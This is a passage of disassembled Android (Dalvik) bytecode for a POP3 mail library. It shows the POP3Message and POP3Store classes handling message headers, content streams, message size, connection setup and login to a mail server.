0000004E  throw                   v1
:50
00000050  move-exception          v1
00000052  monitor-exit            p0
:54
00000054  throw                   v1
:56
00000056  move-exception          v1
00000058  iget-object             v2, p0, POP3Message->folder:POP3Folder
0000005C  invoke-virtual          POP3Folder->close(Z)V, v2, v3
00000062  new-instance            v2, FolderClosedException
00000066  iget-object             v3, p0, POP3Message->folder:POP3Folder
0000006A  invoke-virtual          EOFException->toString()String, v1
00000070  move-result-object      v1
00000072  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, v3, v1
00000078  throw                   v2
:7A
0000007A  move                    v1, v3
0000007C  goto                    :32
:7E
0000007E  iget-object             v1, p0, POP3Message->headers:InternetHeaders
00000082  if-eqz                  v1, :9E
:86
00000086  iget-object             v1, p0, POP3Message->folder:POP3Folder
0000008A  invoke-virtual          POP3Folder->getStore()Store, v1
00000090  move-result-object      v1
00000092  check-cast              v1, POP3Store
00000096  iget-boolean            v1, v1, POP3Store->forgetTopHeaders:Z
0000009A  if-eqz                  v1, :E8
:9E
0000009E  new-instance            v1, InternetHeaders
000000A2  invoke-direct           InternetHeaders-><init>(InputStream)V, v1, v2
000000A8  iput-object             v1, p0, POP3Message->headers:InternetHeaders
000000AC  move-object             v0, v2
000000AE  check-cast              v0, SharedInputStream
000000B2  move-object             v1, v0
000000B4  invoke-interface        SharedInputStream->getPosition()J, v1
000000BA  move-result-wide        v4
000000BC  long-to-int             v1, v4
000000BE  iput                    v1, p0, POP3Message->hdrSize:I
:C2
000000C2  check-cast              v2, SharedInputStream
000000C6  iget                    v1, p0, POP3Message->hdrSize:I
000000CA  int-to-long             v4, v1
000000CC  const-wide/16           v6, 0xFFFFFFFFFFFFFFFF
000000D0  invoke-interface        SharedInputStream->newStream(J, J)InputStream, v2, v4, v5, v6, v7
000000D6  move-result-object      v1
000000D8  iput-object             v1, p0, POP3Message->contentStream:InputStream
:DC
000000DC  monitor-exit            p0
:DE
000000DE  invoke-super            MimeMessage->getContentStream()InputStream, p0
000000E4  move-result-object      v1
000000E6  return-object           v1
:E8
000000E8  move                    v1, v3
:EA
000000EA  invoke-virtual          InputStream->read()I, v2
000000F0  move-result             v4
000000F2  if-gez                  v4, :11A
:F6
000000F6  invoke-virtual          InputStream->available()I, v2
000000FC  move-result             v4
000000FE  if-nez                  v4, :154
:102
00000102  move-object             v0, v2
00000104  check-cast              v0, SharedInputStream
00000108  move-object             v1, v0
0000010A  invoke-interface        SharedInputStream->getPosition()J, v1
00000110  move-result-wide        v4
00000112  long-to-int             v1, v4
00000114  iput                    v1, p0, POP3Message->hdrSize:I
00000118  goto                    :C2
:11A
0000011A  if-eq                   v4, v6, :F6
:11E
0000011E  const/16                v5, 0xD
00000122  if-ne                   v4, v5, :14E
:126
00000126  invoke-virtual          InputStream->available()I, v2
0000012C  move-result             v4
0000012E  if-lez                  v4, :F6
:132
00000132  const/4                 v4, 0x1
00000134  invoke-virtual          InputStream->mark(I)V, v2, v4
0000013A  invoke-virtual          InputStream->read()I, v2
00000140  move-result             v4
00000142  if-eq                   v4, v6, :F6
:146
00000146  invoke-virtual          InputStream->reset()V, v2
:14C
0000014C  goto                    :F6
:14E
0000014E  add-int/lit8            v1, v1, 0x1
00000152  goto                    :EA
:154
00000154  if-nez                  v1, :E8
:158
00000158  goto                    :102
:15A
0000015A  move-exception          v1
0000015C  new-instance            v2, MessagingException
00000160  const-string            v3, "error fetching POP3 content"
00000164  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v1
0000016A  throw                   v2
          .catch EOFException {:6 .. :8} :56
          .catch IOException {:6 .. :8} :15A
          .catchall {:8 .. :54} :50
          .catch EOFException {:54 .. :56} :56
          .catch IOException {:54 .. :56} :15A
          .catchall {:7E .. :DE} :50
          .catchall {:EA .. :14C} :50
.end method

.method public getHeader(String, String)String
          .registers 4
00000000  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000004  if-nez                  v0, :E
:8
00000008  invoke-direct           POP3Message->loadHeaders()V, p0
:E
0000000E  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000012  invoke-virtual          InternetHeaders->getHeader(String, String)String, v0, p1, p2
00000018  move-result-object      v0
0000001A  return-object           v0
.end method

.method public getHeader(String)[String
          .registers 3
00000000  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000004  if-nez                  v0, :E
:8
00000008  invoke-direct           POP3Message->loadHeaders()V, p0
:E
0000000E  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000012  invoke-virtual          InternetHeaders->getHeader(String)[String, v0, p1
00000018  move-result-object      v0
0000001A  return-object           v0
.end method

.method public getMatchingHeaderLines([String)Enumeration
          .registers 3
00000000  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000004  if-nez                  v0, :E
:8
00000008  invoke-direct           POP3Message->loadHeaders()V, p0
:E
0000000E  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000012  invoke-virtual          InternetHeaders->getMatchingHeaderLines([String)Enumeration, v0, p1
00000018  move-result-object      v0
0000001A  return-object           v0
.end method

.method public getMatchingHeaders([String)Enumeration
          .registers 3
00000000  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000004  if-nez                  v0, :E
:8
00000008  invoke-direct           POP3Message->loadHeaders()V, p0
:E
0000000E  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000012  invoke-virtual          InternetHeaders->getMatchingHeaders([String)Enumeration, v0, p1
00000018  move-result-object      v0
0000001A  return-object           v0
.end method

.method public getNonMatchingHeaderLines([String)Enumeration
          .registers 3
00000000  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000004  if-nez                  v0, :E
:8
00000008  invoke-direct           POP3Message->loadHeaders()V, p0
:E
0000000E  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000012  invoke-virtual          InternetHeaders->getNonMatchingHeaderLines([String)Enumeration, v0, p1
00000018  move-result-object      v0
0000001A  return-object           v0
.end method

.method public getNonMatchingHeaders([String)Enumeration
          .registers 3
00000000  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000004  if-nez                  v0, :E
:8
00000008  invoke-direct           POP3Message->loadHeaders()V, p0
:E
0000000E  iget-object             v0, p0, POP3Message->headers:InternetHeaders
00000012  invoke-virtual          InternetHeaders->getNonMatchingHeaders([String)Enumeration, v0, p1
00000018  move-result-object      v0
0000001A  return-object           v0
.end method

.method public getSize()I
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget                    v0, p0, POP3Message->msgSize:I
00000006  if-ltz                  v0, :12
:A
0000000A  iget                    v0, p0, POP3Message->msgSize:I
0000000E  monitor-exit            p0
:10
00000010  return                  v0
:12
00000012  iget                    v0, p0, POP3Message->msgSize:I
00000016  if-gez                  v0, :40
:1A
0000001A  iget-object             v0, p0, POP3Message->headers:InternetHeaders
0000001E  if-nez                  v0, :28
:22
00000022  invoke-direct           POP3Message->loadHeaders()V, p0
:28
00000028  iget-object             v0, p0, POP3Message->contentStream:InputStream
0000002C  if-eqz                  v0, :74
:30
00000030  iget-object             v0, p0, POP3Message->contentStream:InputStream
00000034  invoke-virtual          InputStream->available()I, v0
0000003A  move-result             v0
0000003C  iput                    v0, p0, POP3Message->msgSize:I
:40
00000040  iget                    v0, p0, POP3Message->msgSize:I
00000044  monitor-exit            p0
00000046  goto                    :10
:48
00000048  move-exception          v0
0000004A  monitor-exit            p0
:4C
0000004C  throw                   v0
:4E
0000004E  move-exception          v0
00000050  iget-object             v1, p0, POP3Message->folder:POP3Folder
00000054  const/4                 v2, 0x0
00000056  invoke-virtual          POP3Folder->close(Z)V, v1, v2
0000005C  new-instance            v1, FolderClosedException
00000060  iget-object             v2, p0, POP3Message->folder:POP3Folder
00000064  invoke-virtual          EOFException->toString()String, v0
0000006A  move-result-object      v0
0000006C  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, v2, v0
00000072  throw                   v1
:74
00000074  iget-object             v0, p0, POP3Message->folder:POP3Folder
00000078  invoke-virtual          POP3Folder->getProtocol()Protocol, v0
0000007E  move-result-object      v0
00000080  iget                    v1, p0, POP3Message->msgnum:I
00000084  invoke-virtual          Protocol->list(I)I, v0, v1
0000008A  move-result             v0
0000008C  iget                    v1, p0, POP3Message->hdrSize:I
00000090  sub-int/2addr           v0, v1
00000092  iput                    v0, p0, POP3Message->msgSize:I
:96
00000096  goto                    :40
:98
00000098  move-exception          v0
0000009A  new-instance            v1, MessagingException
0000009E  const-string            v2, "error getting size"
000000A2  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000000A8  throw                   v1
          .catch EOFException {:0 .. :2} :4E
          .catch IOException {:0 .. :2} :98
          .catchall {:2 .. :4C} :48
          .catch EOFException {:4C .. :4E} :4E
          .catch IOException {:4C .. :4E} :98
          .catchall {:74 .. :96} :48
.end method

.method public declared-synchronized invalidate(Z)V
          .registers 3
00000000  monitor-enter           p0
00000002  const/4                 v0, 0x0
:4
00000004  iput-object             v0, p0, POP3Message->content:[B
00000008  const/4                 v0, 0x0
0000000A  iput-object             v0, p0, POP3Message->contentStream:InputStream
0000000E  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000010  iput                    v0, p0, POP3Message->msgSize:I
00000014  if-eqz                  p1, :24
:18
00000018  const/4                 v0, 0x0
0000001A  iput-object             v0, p0, POP3Message->headers:InternetHeaders
0000001E  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000020  iput                    v0, p0, POP3Message->hdrSize:I
:24
00000024  monitor-exit            p0
00000026  return-void
:28
00000028  move-exception          v0
0000002A  monitor-exit            p0
0000002C  throw                   v0
          .catchall {:4 .. :24} :28
.end method

.method public removeHeader(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "POP3 messages are read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public saveChanges()V
          .registers 3
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "POP3 messages are read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setFlags(Flags, Z)V
          .registers 5
00000000  iget-object             v0, p0, POP3Message->flags:Flags
00000004  invoke-virtual          Flags->clone()Object, v0
0000000A  move-result-object      v0
0000000C  check-cast              v0, Flags
00000010  invoke-super            MimeMessage->setFlags(Flags, Z)V, p0, p1, p2
00000016  iget-object             v1, p0, POP3Message->flags:Flags
0000001A  invoke-virtual          Flags->equals(Object)Z, v1, v0
00000020  move-result             v0
00000022  if-nez                  v0, :32
:26
00000026  iget-object             v0, p0, POP3Message->folder:POP3Folder
0000002A  const/4                 v1, 0x1
0000002C  invoke-virtual          POP3Folder->notifyMessageChangedListeners(I, Message)V, v0, v1, p0
:32
00000032  return-void
.end method

.method public setHeader(String, String)V
          .registers 5
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "POP3 messages are read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public top(I)InputStream
          .registers 5
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, POP3Message->folder:POP3Folder
00000006  invoke-virtual          POP3Folder->getProtocol()Protocol, v0
0000000C  move-result-object      v0
0000000E  iget                    v1, p0, POP3Message->msgnum:I
00000012  invoke-virtual          Protocol->top(I, I)InputStream, v0, v1, p1
00000018  move-result-object      v0
0000001A  monitor-exit            p0
0000001C  return-object           v0
:1E
0000001E  move-exception          v0
00000020  monitor-exit            p0
:22
00000022  throw                   v0
:24
00000024  move-exception          v0
00000026  iget-object             v1, p0, POP3Message->folder:POP3Folder
0000002A  const/4                 v2, 0x0
0000002C  invoke-virtual          POP3Folder->close(Z)V, v1, v2
00000032  new-instance            v1, FolderClosedException
00000036  iget-object             v2, p0, POP3Message->folder:POP3Folder
0000003A  invoke-virtual          EOFException->toString()String, v0
00000040  move-result-object      v0
00000042  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, v2, v0
00000048  throw                   v1
:4A
0000004A  move-exception          v0
0000004C  new-instance            v1, MessagingException
00000050  const-string            v2, "error getting size"
00000054  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000005A  throw                   v1
          .catch EOFException {:0 .. :2} :24
          .catch IOException {:0 .. :2} :4A
          .catchall {:2 .. :22} :1E
          .catch EOFException {:22 .. :24} :24
          .catch IOException {:22 .. :24} :4A
.end method

#--------------------------------------------------------------------------------
.class public POP3Store
.super Store
.source ""

.field private defaultPort:I
.field disableTop:Z
.field forgetTopHeaders:Z
.field private host:String
.field private isSSL:Z
.field messageConstructor:Constructor
.field private name:String
.field private passwd:String
.field private port:Protocol
.field private portNum:I
.field private portOwner:POP3Folder
.field rsetBeforeQuit:Z
.field private user:String

.method public constructor <init>(Session, URLName)V
          .registers 9
00000000  const-string            v3, "pop3"
00000004  const/16                v4, 0x6E
00000008  const/4                 v5, 0x0
0000000A  move-object             v0, p0
0000000C  move-object             v1, p1
0000000E  move-object             v2, p2
00000010  invoke-direct/range     POP3Store-><init>(Session, URLName, String, I, Z)V, v0 .. v5
00000016  return-void
.end method

.method public constructor <init>(Session, URLName, String, I, Z)V
          .registers 10
00000000  const/4                 v3, 0x1
00000002  const/4                 v2, 0x0
00000004  const/4                 v1, 0x0
00000006  invoke-direct           Store-><init>(Session, URLName)V, p0, p1, p2
0000000C  const-string            v0, "pop3"
00000010  iput-object             v0, p0, POP3Store->name:String
00000014  const/16                v0, 0x6E
00000018  iput                    v0, p0, POP3Store->defaultPort:I
0000001C  iput-boolean            v2, p0, POP3Store->isSSL:Z
00000020  iput-object             v1, p0, POP3Store->port:Protocol
00000024  iput-object             v1, p0, POP3Store->portOwner:POP3Folder
00000028  iput-object             v1, p0, POP3Store->host:String
0000002C  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000002E  iput                    v0, p0, POP3Store->portNum:I
00000032  iput-object             v1, p0, POP3Store->user:String
00000036  iput-object             v1, p0, POP3Store->passwd:String
0000003A  iput-boolean            v2, p0, POP3Store->rsetBeforeQuit:Z
0000003E  iput-boolean            v2, p0, POP3Store->disableTop:Z
00000042  iput-boolean            v2, p0, POP3Store->forgetTopHeaders:Z
00000046  iput-object             v1, p0, POP3Store->messageConstructor:Constructor
0000004A  if-eqz                  p2, :56
:4E
0000004E  invoke-virtual          URLName->getProtocol()String, p2
00000054  move-result-object      p3
:56
00000056  iput-object             p3, p0, POP3Store->name:String
0000005A  iput                    p4, p0, POP3Store->defaultPort:I
0000005E  iput-boolean            p5, p0, POP3Store->isSSL:Z
00000062  new-instance            v0, StringBuilder
00000066  const-string            v1, "mail."
0000006A  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000070  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000076  move-result-object      v0
00000078  const-string            v1, ".rsetbeforequit"
0000007C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000082  move-result-object      v0
00000084  invoke-virtual          StringBuilder->toString()String, v0
0000008A  move-result-object      v0
0000008C  invoke-virtual          Session->getProperty(String)String, p1, v0
00000092  move-result-object      v0
00000094  if-eqz                  v0, :AC
:98
00000098  const-string            v1, "true"
0000009C  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000000A2  move-result             v0
000000A4  if-eqz                  v0, :AC
:A8
000000A8  iput-boolean            v3, p0, POP3Store->rsetBeforeQuit:Z
:AC
000000AC  new-instance            v0, StringBuilder
000000B0  const-string            v1, "mail."
000000B4  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000000BA  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
000000C0  move-result-object      v0
000000C2  const-string            v1, ".disabletop"
000000C6  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000000CC  move-result-object      v0
000000CE  invoke-virtual          StringBuilder->toString()String, v0
000000D4  move-result-object      v0
000000D6  invoke-virtual          Session->getProperty(String)String, p1, v0
000000DC  move-result-object      v0
000000DE  if-eqz                  v0, :F6
:E2
000000E2  const-string            v1, "true"
000000E6  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000000EC  move-result             v0
000000EE  if-eqz                  v0, :F6
:F2
000000F2  iput-boolean            v3, p0, POP3Store->disableTop:Z
:F6
000000F6  new-instance            v0, StringBuilder
000000FA  const-string            v1, "mail."
000000FE  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000104  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
0000010A  move-result-object      v0
0000010C  const-string            v1, ".forgettopheaders"
00000110  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000116  move-result-object      v0
00000118  invoke-virtual          StringBuilder->toString()String, v0
0000011E  move-result-object      v0
00000120  invoke-virtual          Session->getProperty(String)String, p1, v0
00000126  move-result-object      v0
00000128  if-eqz                  v0, :140
:12C
0000012C  const-string            v1, "true"
00000130  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000136  move-result             v0
00000138  if-eqz                  v0, :140
:13C
0000013C  iput-boolean            v3, p0, POP3Store->forgetTopHeaders:Z
:140
00000140  new-instance            v0, StringBuilder
00000144  const-string            v1, "mail."
00000148  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000014E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
00000154  move-result-object      v0
00000156  const-string            v1, ".message.class"
0000015A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000160  move-result-object      v0
00000162  invoke-virtual          StringBuilder->toString()String, v0
00000168  move-result-object      v0
0000016A  invoke-virtual          Session->getProperty(String)String, p1, v0
00000170  move-result-object      v0
00000172  if-eqz                  v0, :1EC
:176
00000176  invoke-virtual          Session->getDebug()Z, p1
0000017C  move-result             v1
0000017E  if-eqz                  v1, :1AE
:182
00000182  invoke-virtual          Session->getDebugOut()PrintStream, p1
00000188  move-result-object      v1
0000018A  new-instance            v2, StringBuilder
0000018E  const-string            v3, "DEBUG: POP3 message class: "
00000192  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000198  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
0000019E  move-result-object      v2
000001A0  invoke-virtual          StringBuilder->toString()String, v2
000001A6  move-result-object      v2
000001A8  invoke-virtual          PrintStream->println(String)V, v1, v2
:1AE
000001AE  invoke-virtual          Object->getClass()Class, p0
000001B4  move-result-object      v1
000001B6  invoke-virtual          Class->getClassLoader()ClassLoader, v1
:1BC
000001BC  move-result-object      v1
:1BE
000001BE  invoke-virtual          ClassLoader->loadClass(String)Class, v1, v0
:1C4
000001C4  move-result-object      v0
:1C6
000001C6  const/4                 v1, 0x2
:1C8
000001C8  new-array               v1, v1, [Class
000001CC  const/4                 v2, 0x0
000001CE  const-class             v3, Folder
000001D2  aput-object             v3, v1, v2
000001D6  const/4                 v2, 0x1
000001D8  sget-object             v3, Integer->TYPE:Class
000001DC  aput-object             v3, v1, v2
000001E0  invoke-virtual          Class->getConstructor([Class)Constructor, v0, v1
000001E6  move-result-object      v0
000001E8  iput-object             v0, p0, POP3Store->messageConstructor:Constructor
:1EC
000001EC  return-void
:1EE
000001EE  move-exception          v1
000001F0  invoke-static           Class->forName(String)Class, v0
:1F6
000001F6  move-result-object      v0
000001F8  goto                    :1C6
:1FA
000001FA  move-exception          v0
000001FC  invoke-virtual          Session->getDebug()Z, p1
00000202  move-result             v1
00000204  if-eqz                  v1, :1EC
:208
00000208  invoke-virtual          Session->getDebugOut()PrintStream, p1
0000020E  move-result-object      v1
00000210  new-instance            v2, StringBuilder
00000214  const-string            v3, "DEBUG: failed to load POP3 message class: "
00000218  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000021E  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v0
00000224  move-result-object      v0
00000226  invoke-virtual          StringBuilder->toString()String, v0
0000022C  move-result-object      v0
0000022E  invoke-virtual          PrintStream->println(String)V, v1, v0
00000234  goto                    :1EC
          .catch Exception {:1AE .. :1BC} :1FA
          .catch ClassNotFoundException {:1BE .. :1C4} :1EE
          .catch Exception {:1BE .. :1C4} :1FA
          .catch Exception {:1C8 .. :1F6} :1FA
.end method

.method private checkConnected()V
          .registers 3
00000000  invoke-super            Store->isConnected()Z, p0
00000006  move-result             v0
00000008  if-nez                  v0, :1C
:C
0000000C  new-instance            v0, MessagingException
00000010  const-string            v1, "Not connected"
00000014  invoke-direct           MessagingException-><init>(String)V, v0, v1
0000001A  throw                   v0
:1C
0000001C  return-void
.end method

.method public declared-synchronized close()V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, POP3Store->port:Protocol
00000006  if-eqz                  v0, :14
:A
0000000A  iget-object             v0, p0, POP3Store->port:Protocol
0000000E  invoke-virtual          Protocol->quit()Z, v0
:14
00000014  const/4                 v0, 0x0
:16
00000016  iput-object             v0, p0, POP3Store->port:Protocol
0000001A  invoke-super            Store->close()V, p0
:20
00000020  monitor-exit            p0
00000022  return-void
:24
00000024  move-exception          v0
00000026  const/4                 v0, 0x0
:28
00000028  iput-object             v0, p0, POP3Store->port:Protocol
0000002C  invoke-super            Store->close()V, p0
:32
00000032  goto                    :20
:34
00000034  move-exception          v0
00000036  monitor-exit            p0
00000038  throw                   v0
:3A
0000003A  move-exception          v0
0000003C  const/4                 v1, 0x0
:3E
0000003E  iput-object             v1, p0, POP3Store->port:Protocol
00000042  invoke-super            Store->close()V, p0
00000048  throw                   v0
          .catch IOException {:2 .. :14} :24
          .catchall {:2 .. :14} :3A
          .catchall {:16 .. :20} :34
          .catchall {:28 .. :32} :34
          .catchall {:3E .. :4A} :34
.end method

.method declared-synchronized closePort(POP3Folder)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, POP3Store->portOwner:POP3Folder
00000006  if-ne                   v0, p1, :16
:A
0000000A  const/4                 v0, 0x0
0000000C  iput-object             v0, p0, POP3Store->port:Protocol
00000010  const/4                 v0, 0x0
00000012  iput-object             v0, p0, POP3Store->portOwner:POP3Folder
:16
00000016  monitor-exit            p0
00000018  return-void
:1A
0000001A  move-exception          v0
0000001C  monitor-exit            p0
0000001E  throw                   v0
          .catchall {:2 .. :16} :1A
.end method

.method protected finalize()V
          .registers 2
00000000  invoke-super            Store->finalize()V, p0
00000006  iget-object             v0, p0, POP3Store->port:Protocol
0000000A  if-eqz                  v0, :14
:E
0000000E  invoke-virtual          POP3Store->close()V, p0
:14
00000014  return-void
.end method

.method public getDefaultFolder()Folder
          .registers 2
00000000  invoke-direct           POP3Store->checkConnected()V, p0
00000006  new-instance            v0, DefaultFolder
0000000A  invoke-direct           DefaultFolder-><init>(POP3Store)V, v0, p0
00000010  return-object           v0
.end method

.method public getFolder(String)Folder
          .registers 3
00000000  invoke-direct           POP3Store->checkConnected()V, p0
00000006  new-instance            v0, POP3Folder
0000000A  invoke-direct           POP3Folder-><init>(POP3Store, String)V, v0, p0, p1
00000010  return-object           v0
.end method

.method public getFolder(URLName)Folder
          .registers 4
00000000  invoke-direct           POP3Store->checkConnected()V, p0
00000006  new-instance            v0, POP3Folder
0000000A  invoke-virtual          URLName->getFile()String, p1
00000010  move-result-object      v1
00000012  invoke-direct           POP3Folder-><init>(POP3Store, String)V, v0, p0, v1
00000018  return-object           v0
.end method

.method declared-synchronized getPort(POP3Folder)Protocol
          .registers 10
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, POP3Store->port:Protocol
00000006  if-eqz                  v0, :1E
:A
0000000A  iget-object             v0, p0, POP3Store->portOwner:POP3Folder
0000000E  if-nez                  v0, :1E
:12
00000012  iput-object             p1, p0, POP3Store->portOwner:POP3Folder
00000016  iget-object             v0, p0, POP3Store->port:Protocol
:1A
0000001A  monitor-exit            p0
0000001C  return-object           v0
:1E
0000001E  new-instance            v0, Protocol
00000022  iget-object             v1, p0, POP3Store->host:String
00000026  iget                    v2, p0, POP3Store->portNum:I
0000002A  iget-object             v3, p0, POP3Store->session:Session
0000002E  invoke-virtual          Session->getDebug()Z, v3
00000034  move-result             v3
00000036  iget-object             v4, p0, POP3Store->session:Session
0000003A  invoke-virtual          Session->getDebugOut()PrintStream, v4
00000040  move-result-object      v4
00000042  iget-object             v5, p0, POP3Store->session:Session
00000046  invoke-virtual          Session->getProperties()Properties, v5
0000004C  move-result-object      v5
0000004E  new-instance            v6, StringBuilder
00000052  const-string            v7, "mail."
00000056  invoke-direct           StringBuilder-><init>(String)V, v6, v7
0000005C  iget-object             v7, p0, POP3Store->name:String
00000060  invoke-virtual          StringBuilder->append(String)StringBuilder, v6, v7
00000066  move-result-object      v6
00000068  invoke-virtual          StringBuilder->toString()String, v6
0000006E  move-result-object      v6
00000070  iget-boolean            v7, p0, POP3Store->isSSL:Z
00000074  invoke-direct/range     Protocol-><init>(String, I, Z, PrintStream, Properties, String, Z)V, v0 .. v7
0000007A  iget-object             v1, p0, POP3Store->user:String
0000007E  iget-object             v2, p0, POP3Store->passwd:String
00000082  invoke-virtual          Protocol->login(String, String)String, v0, v1, v2
:88
00000088  move-result-object      v1
0000008A  if-eqz                  v1, :A6
:8E
0000008E  invoke-virtual          Protocol->quit()Z, v0
:94
00000094  new-instance            v0, EOFException
00000098  invoke-direct           EOFException-><init>(String)V, v0, v1
0000009E  throw                   v0
:A0
000000A0  move-exception          v0
000000A2  monitor-exit            p0
000000A4  throw                   v0
:A6
000000A6  iget-object             v1, p0, POP3Store->port:Protocol
000000AA  if-nez                  v1, :BA
:AE
000000AE  if-eqz                  p1, :BA
:B2
000000B2  iput-object             v0, p0, POP3Store->port:Protocol
000000B6  iput-object             p1, p0, POP3Store->portOwner:POP3Folder
:BA
000000BA  iget-object             v1, p0, POP3Store->portOwner:POP3Folder
000000BE  if-nez                  v1, :1A
:C2
000000C2  iput-object             p1, p0, POP3Store->portOwner:POP3Folder
:C6
000000C6  goto                    :1A
:C8
000000C8  move-exception          v0
000000CA  goto                    :94
:CC
000000CC  move-exception          v0
000000CE  goto                    :94
          .catchall {:2 .. :1A} :A0
          .catchall {:1E .. :88} :A0
          .catch IOException {:8E .. :94} :C8
          .catchall {:8E .. :94} :CC
          .catchall {:94 .. :A0} :A0
          .catchall {:A6 .. :C6} :A0
.end method

.method public declared-synchronized isConnected()Z
          .registers 3
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-super            Store->isConnected()Z, p0
:A
0000000A  move-result             v1
0000000C  if-nez                  v1, :14
:10
00000010  monitor-exit            p0
00000012  return                  v0
:14
00000014  monitor-enter           p0
:16
00000016  iget-object             v1, p0, POP3Store->port:Protocol
0000001A  if-nez                  v1, :32
:1E
0000001E  const/4                 v1, 0x0
00000020  invoke-virtual          POP3Store->getPort(POP3Folder)Protocol, p0, v1
00000026  move-result-object      v1
00000028  iput-object             v1, p0, POP3Store->port:Protocol
:2C
0000002C  monitor-exit            p0
:2E
0000002E  const/4                 v0, 0x1
00000030  goto                    :10
:32
00000032  iget-object             v1, p0, POP3Store->port:Protocol
00000036  invoke-virtual          Protocol->noop()Z, v1
:3C
0000003C  goto                    :2C
:3E
0000003E  move-exception          v1
:40
00000040  invoke-super            Store->close()V, p0
:46
00000046  monitor-exit            p0
00000048  goto                    :10
:4A
0000004A  move-exception          v0
0000004C  monitor-exit            p0
:4E
0000004E  throw                   v0
:50
00000050  move-exception          v0
00000052  monitor-exit            p0
00000054  throw                   v0
:56
00000056  move-exception          v1
00000058  goto                    :46
:5A
0000005A  move-exception          v1
0000005C  goto                    :46
          .catchall {:4 .. :A} :50
          .catchall {:14 .. :16} :50
          .catch IOException {:16 .. :2C} :3E
          .catchall {:16 .. :2C} :4A
          .catchall {:2C .. :2E} :4A
          .catch IOException {:32 .. :3C} :3E
          .catchall {:32 .. :3C} :4A
          .catch MessagingException {:40 .. :46} :56
          .catchall {:40 .. :46} :5A
          .catchall {:46 .. :4E} :4A
          .catchall {:4E .. :50} :50
.end method

.method protected declared-synchronized protocolConnect(String, I, String, String)Z
          .registers 9
00000000  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000002  monitor-enter           p0
00000004  if-eqz                  p1, :10
:8
00000008  if-eqz                  p4, :10
:C
0000000C  if-nez                  p3, :16
:10
00000010  const/4                 v0, 0x0
:12
00000012  monitor-exit            p0
00000014  return                  v0
:16
00000016  if-ne                   p2, v3, :BA
:1A
0000001A  iget-object             v0, p0, POP3Store->session:Session
0000001E  new-instance            v1, StringBuilder
00000022  const-string            v2, "mail."
00000026  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000002C  iget-object             v2, p0, POP3Store->name:String
00000030  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000036  move-result-object      v1
00000038  const-string            v2, ".port"
0000003C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000042  move-result-object      v1
00000044  invoke-virtual          StringBuilder->toString()String, v1
0000004A  move-result-object      v1
0000004C  invoke-virtual          Session->getProperty(String)String, v0, v1
00000052  move-result-object      v0
00000054  if-eqz                  v0, :BA
:58
00000058  invoke-static           Integer->parseInt(String)I, v0
0000005E  move-result             p2
00000060  move                    v0, p2
:62
00000062  if-ne                   v0, v3, :6A
:66
00000066  iget                    v0, p0, POP3Store->defaultPort:I
:6A
0000006A  iput-object             p1, p0, POP3Store->host:String
0000006E  iput                    v0, p0, POP3Store->portNum:I
00000072  iput-object             p3, p0, POP3Store->user:String
00000076  iput-object             p4, p0, POP3Store->passwd:String
:7A
0000007A  const/4                 v0, 0x0
:7C
0000007C  invoke-virtual          POP3Store->getPort(POP3Folder)Protocol, p0, v0
00000082  move-result-object      v0
00000084  iput-object             v0, p0, POP3Store->port:Protocol
:88
00000088  const/4                 v0, 0x1
0000008A  goto                    :12
:8C
0000008C  move-exception          v0
:8E
0000008E  new-instance            v1, AuthenticationFailedException
